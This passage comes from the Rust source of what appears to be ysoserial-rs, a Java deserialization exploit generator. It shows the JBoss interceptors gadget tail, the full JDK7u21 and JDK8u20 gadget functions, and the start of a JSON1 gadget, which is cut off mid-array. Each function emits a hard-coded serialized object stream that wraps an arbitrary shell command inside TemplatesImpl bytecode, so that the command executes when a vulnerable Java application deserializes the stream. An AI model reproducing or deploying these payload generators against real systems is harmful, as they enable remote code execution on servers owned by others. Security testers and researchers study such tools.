101, 99, 116, 59, 120, 112, 115, 114, 0, 51, 111, 114, 103, 46, 106, 98, 111, 115, 27 | 115, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 98, 117, 105, 108, 100, 28 | 101, 114, 46, 73, 110, 116, 101, 114, 99, 101, 112, 116, 105, 111, 110, 77, 111, 100, 101, 29 | 108, 73, 109, 112, 108, 212, 148, 225, 80, 226, 184, 219, 32, 2, 0, 5, 76, 0, 15, 97, 108, 30 | 108, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 115, 116, 0, 15, 76, 106, 97, 31 | 118, 97, 47, 117, 116, 105, 108, 47, 83, 101, 116, 59, 76, 0, 18, 103, 108, 111, 98, 97, 32 | 108, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 115, 113, 0, 126, 0, 2, 76, 0, 33 | 17, 105, 110, 116, 101, 114, 99, 101, 112, 116, 101, 100, 69, 110, 116, 105, 116, 121, 113, 34 | 0, 126, 0, 5, 76, 0, 23, 109, 101, 116, 104, 111, 100, 66, 111, 117, 110, 100, 73, 110, 35 | 116, 101, 114, 99, 101, 112, 116, 111, 114, 115, 113, 0, 126, 0, 2, 76, 0, 22, 109, 101, 36 | 116, 104, 111, 100, 115, 73, 103, 110, 111, 114, 105, 110, 103, 71, 108, 111, 98, 97, 108, 37 | 115, 113, 0, 126, 0, 8, 120, 112, 115, 114, 0, 23, 106, 97, 118, 97, 46, 117, 116, 105, 38 | 108, 46, 76, 105, 110, 107, 101, 100, 72, 97, 115, 104, 83, 101, 116, 216, 108, 215, 90, 39 | 149, 221, 42, 30, 2, 0, 0, 120, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 40 | 72, 97, 115, 104, 83, 101, 116, 186, 68, 133, 149, 150, 184, 183, 52, 3, 0, 0, 120, 112, 41 | 119, 12, 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 1, 115, 114, 0, 54, 111, 114, 103, 46, 106, 42 | 98, 111, 115, 115, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 114, 101, 43 | 97, 100, 101, 114, 46, 83, 105, 109, 112, 108, 101, 73, 110, 116, 101, 114, 99, 101, 112, 44 | 116, 111, 114, 77, 101, 116, 97, 100, 97, 116, 97, 0, 4, 110, 38, 50, 205, 240, 139, 2, 0, 45 | 3, 90, 0, 11, 116, 97, 114, 103, 101, 116, 67, 108, 97, 115, 115, 76, 0, 20, 105, 110, 116, 46 | 101, 114, 99, 101, 112, 116, 111, 114, 77, 101, 116, 104, 111, 100, 77, 97, 112, 113, 0, 47 | 126, 0, 2, 76, 0, 20, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 82, 101, 102, 48 | 101, 114, 101, 110, 99, 101, 116, 0, 57, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 49 | 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 101, 116, 50 | 97, 100, 97, 116, 97, 47, 73, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 82, 101, 51 | 102, 101, 114, 101, 110, 99, 101, 59, 120, 112, 1, 115, 114, 0, 17, 106, 97, 118, 97, 46, 52 | 117, 116, 105, 108, 46, 72, 97, 115, 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 53 | 0, 2, 70, 0, 10, 108, 111, 97, 100, 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 54 | 101, 115, 104, 111, 108, 100, 120, 112, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 55 | 0, 0, 1, 126, 114, 0, 48, 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 105, 110, 116, 56 | 101, 114, 99, 101, 112, 116, 111, 114, 46, 115, 112, 105, 46, 109, 111, 100, 101, 108, 46, 57 | 73, 110, 116, 101, 114, 99, 101, 112, 116, 105, 111, 110, 84, 121, 112, 101, 0, 0, 0, 0, 0, 58 | 0, 0, 0, 18, 0, 0, 120, 114, 0, 14, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 69, 110, 59 | 117, 109, 0, 0, 0, 0, 0, 0, 0, 0, 18, 0, 0, 120, 112, 116, 0, 13, 80, 79, 83, 84, 95, 65, 60 | 67, 84, 73, 86, 65, 84, 69, 115, 114, 0, 19, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 61 | 65, 114, 114, 97, 121, 76, 105, 115, 116, 120, 129, 210, 29, 153, 199, 97, 157, 3, 0, 1, 62 | 73, 0, 4, 115, 105, 122, 101, 120, 112, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 115, 114, 0, 90, 63 | 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 64 | 111, 114, 46, 114, 101, 97, 100, 101, 114, 46, 68, 101, 102, 97, 117, 108, 116, 77, 101, 65 | 116, 104, 111, 100, 77, 101, 116, 97, 100, 97, 116, 97, 36, 68, 101, 102, 97, 117, 108, 66 | 116, 77, 101, 116, 104, 111, 100, 77, 101, 116, 97, 100, 97, 116, 97, 83, 101, 114, 105, 67 | 97, 108, 105, 122, 97, 116, 105, 111, 110, 80, 114, 111, 120, 121, 213, 121, 73, 79, 155, 68 | 125, 210, 202, 2, 0, 2, 76, 0, 15, 109, 101, 116, 104, 111, 100, 82, 101, 102, 101, 114, 69 | 101, 110, 99, 101, 116, 0, 47, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 105, 110, 70 | 116, 101, 114, 99, 101, 112, 116, 111, 114, 47, 98, 117, 105, 108, 100, 101, 114, 47, 77, 71 | 101, 116, 104, 111, 100, 82, 101, 102, 101, 114, 101, 110, 99, 101, 59, 76, 0, 26, 115, 72 | 117, 112, 112, 111, 114, 116, 101, 100, 73, 110, 116, 101, 114, 99, 101, 112, 116, 105, 73 | 111, 110, 84, 121, 112, 101, 115, 113, 0, 126, 0, 8, 120, 112, 115, 114, 0, 76, 111, 114, 74 | 103, 46, 106, 98, 111, 115, 115, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 75 | 46, 98, 117, 105, 108, 100, 101, 114, 46, 77, 101, 116, 104, 111, 100, 82, 101, 102, 101, 76 | 114, 101, 110, 99, 101, 36, 77, 101, 116, 104, 111, 100, 72, 111, 108, 100, 101, 114, 83, 77 | 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 80, 114, 111, 120, 121, 212, 106, 78 | 96, 244, 73, 62, 125, 210, 2, 0, 3, 76, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 101, 116, 79 | 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 80 | 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 113, 0, 126, 0, 28, 91, 0, 19, 81 | 112, 97, 114, 97, 109, 101, 116, 101, 114, 67, 108, 97, 115, 115, 78, 97, 109, 101, 115, 82 | 116, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 83 | 103, 59, 120, 112, 116, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 84 | 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 85 | 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 86 | 116, 101, 115, 73, 109, 112, 108, 116, 0, 14, 110, 101, 119, 84, 114, 97, 110, 115, 102, 87 | 111, 114, 109, 101, 114, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 88 | 46, 83, 116, 114, 105, 110, 103, 59, 173, 210, 86, 231, 233, 29, 123, 71, 2, 0, 0, 120, 89 | 112, 0, 0, 0, 0, 115, 113, 0, 126, 0, 11, 119, 12, 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 1, 90 | 113, 0, 126, 0, 20, 120, 120, 120, 115, 114, 0, 62, 111, 114, 103, 46, 106, 98, 111, 115, 91 | 115, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 46, 114, 101, 97, 100, 101, 92 | 114, 46, 67, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 116, 97, 73, 110, 116, 101, 114, 93 | 99, 101, 112, 116, 111, 114, 82, 101, 102, 101, 114, 101, 110, 99, 101, 203, 131, 179, 190, 94 | 249, 59, 48, 254, 2, 0, 1, 76, 0, 13, 99, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 95 | 116, 97, 116, 0, 50, 76, 111, 114, 103, 47, 106, 98, 111, 115, 115, 47, 105, 110, 116, 101, 96 | 114, 99, 101, 112, 116, 111, 114, 47, 115, 112, 105, 47, 109, 101, 116, 97, 100, 97, 116, 97 | 97, 47, 67, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 116, 97, 59, 120, 112, 115, 114, 98 | 0, 52, 111, 114, 103, 46, 106, 98, 111, 115, 115, 46, 105, 110, 116, 101, 114, 99, 101, 99 | 112, 116, 111, 114, 46, 114, 101, 97, 100, 101, 114, 46, 82, 101, 102, 108, 101, 99, 116, 100 | 105, 118, 101, 67, 108, 97, 115, 115, 77, 101, 116, 97, 100, 97, 116, 97, 227, 3, 133, 63, 101 | 247, 108, 78, 190, 2, 0, 1, 76, 0, 5, 99, 108, 97, 122, 122, 116, 0, 17, 76, 106, 97, 118, 102 | 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 120, 112, 118, 113, 0, 126, 0, 103 | 16, 120, 115, 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 104 | 6, 126, 113, 0, 126, 0, 18, 116, 0, 13, 65, 82, 79, 85, 78, 68, 95, 73, 78, 86, 79, 75, 69, 105 | 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 126, 113, 106 | 0, 126, 0, 18, 116, 0, 14, 80, 79, 83, 84, 95, 67, 79, 78, 83, 84, 82, 85, 67, 84, 115, 107 | 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 113, 0, 126, 108 | 0, 20, 115, 113, 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 109 | 126, 113, 0, 126, 0, 18, 116, 0, 11, 80, 82, 69, 95, 68, 69, 83, 84, 82, 79, 89, 115, 113, 110 | 0, 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 126, 113, 0, 126, 111 | 0, 18, 116, 0, 14, 65, 82, 79, 85, 78, 68, 95, 84, 73, 77, 69, 79, 85, 84, 115, 113, 0, 112 | 126, 0, 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 126, 113, 0, 126, 0, 113 | 18, 116, 0, 13, 80, 82, 69, 95, 80, 65, 83, 83, 73, 86, 65, 84, 69, 115, 113, 0, 126, 0, 114 | 22, 0, 0, 0, 1, 119, 4, 0, 0, 0, 1, 113, 0, 126, 0, 15, 120, 120, 113, 0, 126, 0, 42, 115, 115 | 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 16, 0, 0, 0, 0, 120, 115, 116 | 113, 0, 126, 0, 11, 119, 12, 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 120, 115, 113, 0, 126, 117 | 0, 16, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 113, 0, 126, 0, 15, 115, 118 | 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 119 | 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 120 | 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 121 | 109, 112, 108, 9, 87, 79, 193, 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 122 | 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 123 | 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 124 | 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 125 | 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 126 | 113, 0, 126, 0, 28, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 127 | 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 128 | 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 129 | 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 130 | 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 131 | ] 132 | .to_vec(); 133 | let template_impl = get_f_template_impl(cmd); 134 | let template_impl_len = template_impl.len() as u32; 135 | result_bytes.extend(template_impl_len.to_be_bytes()); 136 | result_bytes.extend(&template_impl); 137 | result_bytes.extend([ 138 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 120, 115, 114, 0, 59, 111, 114, 139 | 103, 46, 106, 98, 111, 115, 115, 46, 105, 110, 116, 101, 114, 99, 101, 112, 116, 111, 114, 140 | 46, 112, 114, 111, 120, 121, 46, 68, 101, 102, 97, 117, 108, 116, 73, 110, 118, 111, 99, 141 | 97, 116, 105, 111, 110, 67, 111, 110, 116, 101, 120, 116, 70, 97, 99, 116, 111, 114, 121, 142 | 65, 78, 150, 246, 105, 119, 90, 97, 2, 0, 0, 120, 112, 115, 113, 0, 126, 0, 13, 1, 115, 143 | 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 16, 0, 0, 0, 0, 120, 115, 144 | 113, 0, 126, 0, 36, 113, 0, 126, 0, 41, 115, 113, 0, 126, 0, 16, 63, 64, 0, 0, 0, 0, 0, 12, 145 | 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 9, 121, 115, 111, 115, 101, 114, 105, 97, 108, 146 | 113, 0, 126, 0, 79, 120, 120, 147 | ]); 148 | result_bytes 149 | } 150 | -------------------------------------------------------------------------------- /ysoserial-rs/src/jdk7u21.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_jdk7u21(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 23, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 76, 105, 6 | 110, 107, 101, 100, 72, 97, 115, 104, 83, 101, 116, 216, 108, 215, 90, 149, 221, 42, 30, 2, 7 | 0, 0, 120, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 83, 8 | 101, 116, 186, 68, 133, 149, 150, 184, 183, 52, 3, 0, 0, 120, 112, 119, 12, 0, 0, 0, 16, 9 | 63, 64, 0, 0, 0, 0, 0, 2, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 10 | 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 11 | 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 12 | 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 171, 51, 3, 0, 6, 73, 13 | 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 14 | 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 15 | 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 116, 0, 16 | 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 0, 17 | 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 18 | 116, 114, 105, 110, 103, 59, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 19 | 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 20 | 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 21 | 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 22 | 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 23 | 120, 112, 24 | ] 25 | .to_vec(); 26 | let template_impl = get_f_template_impl(cmd); 27 | let template_impl_len = template_impl.len() as u32; 28 | result_bytes.extend(template_impl_len.to_be_bytes()); 29 | result_bytes.extend(&template_impl); 30 | result_bytes.extend([ 31 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 115, 125, 0, 0, 0, 1, 0, 29, 106, 32 | 97, 118, 97, 120, 46, 120, 109, 108, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 33 | 84, 101, 109, 112, 108, 97, 116, 101, 115, 120, 114, 0, 23, 106, 97, 118, 97, 46, 108, 97, 34 | 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 80, 114, 111, 120, 121, 225, 39, 218, 35 | 32, 204, 16, 67, 203, 2, 0, 1, 76, 0, 1, 104, 116, 0, 37, 76, 106, 97, 118, 97, 47, 108, 36 | 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 73, 110, 118, 111, 99, 97, 116, 37 | 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 120, 112, 115, 114, 0, 50, 115, 117, 38 | 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 97, 110, 110, 111, 116, 97, 116, 105, 111, 39 | 110, 46, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 73, 110, 118, 111, 99, 97, 116, 40 | 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 85, 202, 245, 15, 21, 203, 126, 165, 2, 0, 41 | 2, 76, 0, 12, 109, 101, 109, 98, 101, 114, 86, 97, 108, 117, 101, 115, 116, 0, 15, 76, 106, 42 | 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 76, 0, 4, 116, 121, 112, 101, 43 | 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 44 | 120, 112, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 45 | 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 70, 46 | 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 63, 47 | 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 8, 102, 53, 97, 53, 97, 54, 48 | 48, 56, 113, 0, 126, 0, 8, 120, 118, 114, 0, 29, 106, 97, 118, 97, 120, 46, 120, 109, 108, 49 | 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 84, 101, 109, 112, 108, 97, 116, 101, 50 | 115, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 120, 51 | ]); 52 | result_bytes 53 | } 54 | -------------------------------------------------------------------------------- /ysoserial-rs/src/jdk8u20.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_jdk8u20(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 23, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 76, 105, 6 | 110, 107, 101, 100, 72, 97, 115, 104, 83, 101, 116, 216, 108, 215, 90, 149, 221, 42, 30, 2, 7 | 0, 0, 120, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 83, 8 | 101, 116, 186, 68, 133, 149, 150, 184, 183, 52, 3, 0, 0, 115, 114, 0, 58, 99, 111, 109, 46, 9 | 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 10 | 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 11 | 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 12 | 172, 171, 51, 3, 0, 5, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 13 | 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 90, 0, 14 | 21, 95, 117, 115, 101, 83, 101, 114, 118, 105, 99, 101, 115, 77, 101, 99, 104, 97, 110, 15 | 105, 115, 109, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 16 | 66, 76, 0, 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 17 | 103, 47, 83, 116, 114, 105, 110, 103, 59, 120, 112, 0, 0, 0, 1, 255, 255, 255, 255, 1, 117, 18 | 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 19 | 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 20 | ] 21 | .to_vec(); 22 | let template_impl = get_f_template_impl(cmd); 23 | let template_impl_len = template_impl.len() as u32; 24 | result_bytes.extend(template_impl_len.to_be_bytes()); 25 | result_bytes.extend(&template_impl); 26 | result_bytes.extend([ 27 | 116, 0, 3, 97, 98, 99, 119, 1, 0, 120, 115, 114, 0, 41, 106, 97, 118, 97, 46, 98, 101, 97, 28 | 110, 115, 46, 98, 101, 97, 110, 99, 111, 110, 116, 101, 120, 116, 46, 66, 101, 97, 110, 67, 29 | 111, 110, 116, 101, 120, 116, 83, 117, 112, 112, 111, 114, 116, 188, 72, 32, 240, 145, 143, 30 | 185, 12, 3, 0, 1, 73, 0, 12, 115, 101, 114, 105, 97, 108, 105, 122, 97, 98, 108, 101, 120, 31 | 114, 0, 46, 106, 97, 118, 97, 46, 98, 101, 97, 110, 115, 46, 98, 101, 97, 110, 99, 111, 32 | 110, 116, 101, 120, 116, 46, 66, 101, 97, 110, 67, 111, 110, 116, 101, 120, 116, 67, 104, 33 | 105, 108, 100, 83, 117, 112, 112, 111, 114, 116, 87, 212, 239, 199, 4, 220, 114, 37, 3, 0, 34 | 1, 76, 0, 20, 98, 101, 97, 110, 67, 111, 110, 116, 101, 120, 116, 67, 104, 105, 108, 100, 35 | 80, 101, 101, 114, 116, 0, 41, 76, 106, 97, 118, 97, 47, 98, 101, 97, 110, 115, 47, 98, 36 | 101, 97, 110, 99, 111, 110, 116, 101, 120, 116, 47, 66, 101, 97, 110, 67, 111, 110, 116, 37 | 101, 120, 116, 67, 104, 105, 108, 100, 59, 120, 112, 113, 0, 126, 0, 14, 120, 0, 0, 0, 1, 38 | 115, 114, 0, 50, 115, 117, 110, 46, 114, 101, 102, 108, 101, 99, 116, 46, 97, 110, 110, 39 | 111, 116, 97, 116, 105, 111, 110, 46, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 73, 40 | 110, 118, 111, 99, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 85, 202, 245, 41 | 15, 21, 203, 126, 165, 3, 0, 2, 76, 0, 12, 109, 101, 109, 98, 101, 114, 86, 97, 108, 117, 42 | 101, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 43 | 76, 0, 4, 116, 121, 112, 101, 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 44 | 67, 108, 97, 115, 115, 59, 120, 112, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 45 | 108, 46, 72, 97, 115, 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 46 | 10, 108, 111, 97, 100, 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 47 | 111, 108, 100, 120, 112, 63, 64, 0, 0, 0, 0, 0, 12, 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 48 | 0, 8, 102, 53, 97, 53, 97, 54, 48, 56, 113, 0, 126, 0, 5, 120, 118, 114, 0, 29, 106, 97, 49 | 118, 97, 120, 46, 120, 109, 108, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 84, 50 | 101, 109, 112, 108, 97, 116, 101, 115, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 120, 112, 119, 4, 51 | 0, 0, 0, 0, 120, 120, 112, 119, 12, 0, 0, 0, 16, 63, 64, 0, 0, 0, 0, 0, 2, 113, 0, 126, 0, 52 | 5, 115, 125, 0, 0, 0, 1, 0, 29, 106, 97, 118, 97, 120, 46, 120, 109, 108, 46, 116, 114, 97, 53 | 110, 115, 102, 111, 114, 109, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 120, 114, 0, 54 | 23, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 114, 101, 102, 108, 101, 99, 116, 46, 80, 55 | 114, 111, 120, 121, 225, 39, 218, 32, 204, 16, 67, 203, 2, 0, 1, 76, 0, 1, 104, 116, 0, 37, 56 | 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 73, 57 | 110, 118, 111, 99, 97, 116, 105, 111, 110, 72, 97, 110, 100, 108, 101, 114, 59, 120, 112, 58 | 113, 0, 126, 0, 18, 120, 59 | ]); 60 | result_bytes 61 | } 62 | -------------------------------------------------------------------------------- /ysoserial-rs/src/json1.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_json1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 6 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 7 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 8 | 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 2, 0, 0, 0, 2, 115, 114, 0, 45, 106, 97, 118, 9 | 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 111, 112, 101, 110, 109, 10 | 98, 101, 97, 110, 46, 84, 97, 98, 117, 108, 97, 114, 68, 97, 116, 97, 83, 117, 112, 112, 11 | 111, 114, 116, 79, 98, 14, 168, 107, 151, 23, 67, 2, 0, 2, 76, 0, 7, 100, 97, 116, 97, 77, 12 | 97, 112, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 76, 13 | 0, 11, 116, 97, 98, 117, 108, 97, 114, 84, 121, 112, 101, 116, 0, 40, 76, 106, 97, 118, 97, 14 | 120, 47, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 47, 111, 112, 101, 110, 109, 98, 15 | 101, 97, 110, 47, 84, 97, 98, 117, 108, 97, 114, 84, 121, 112, 101, 59, 120, 112, 115, 114, 16 | 0, 22, 110, 101, 116, 46, 115, 102, 46, 106, 115, 111, 110, 46, 74, 83, 79, 78, 79, 98, 17 | 106, 101, 99, 116, 184, 101, 143, 28, 104, 36, 112, 249, 2, 0, 2, 90, 0, 10, 110, 117, 108, 18 | 108, 79, 98, 106, 101, 99, 116, 76, 0, 10, 112, 114, 111, 112, 101, 114, 116, 105, 101, 19 | 115, 113, 0, 126, 0, 3, 120, 112, 0, 115, 113, 0, 126, 0, 0, 63, 64, 0, 0, 0, 0, 0, 12, 20 | 119, 8, 0, 0, 0, 16, 0, 0, 0, 1, 116, 0, 1, 116, 115, 125, 0, 0, 0, 2, 0, 40, 106, 97, 118, 21 | 97, 120, 46, 109, 97, 110, 97, 103, 101, 109, 101, 110, 116, 46, 111, 112, 101, 110, 109, 22 | 98, 101, 97, 110, 46, 67, 111, 109, 112, 111, 115, 105, 116, 101, 68, 97, 116, 97, 0, 29, 23 | 106, 97, 118, 97, 120, 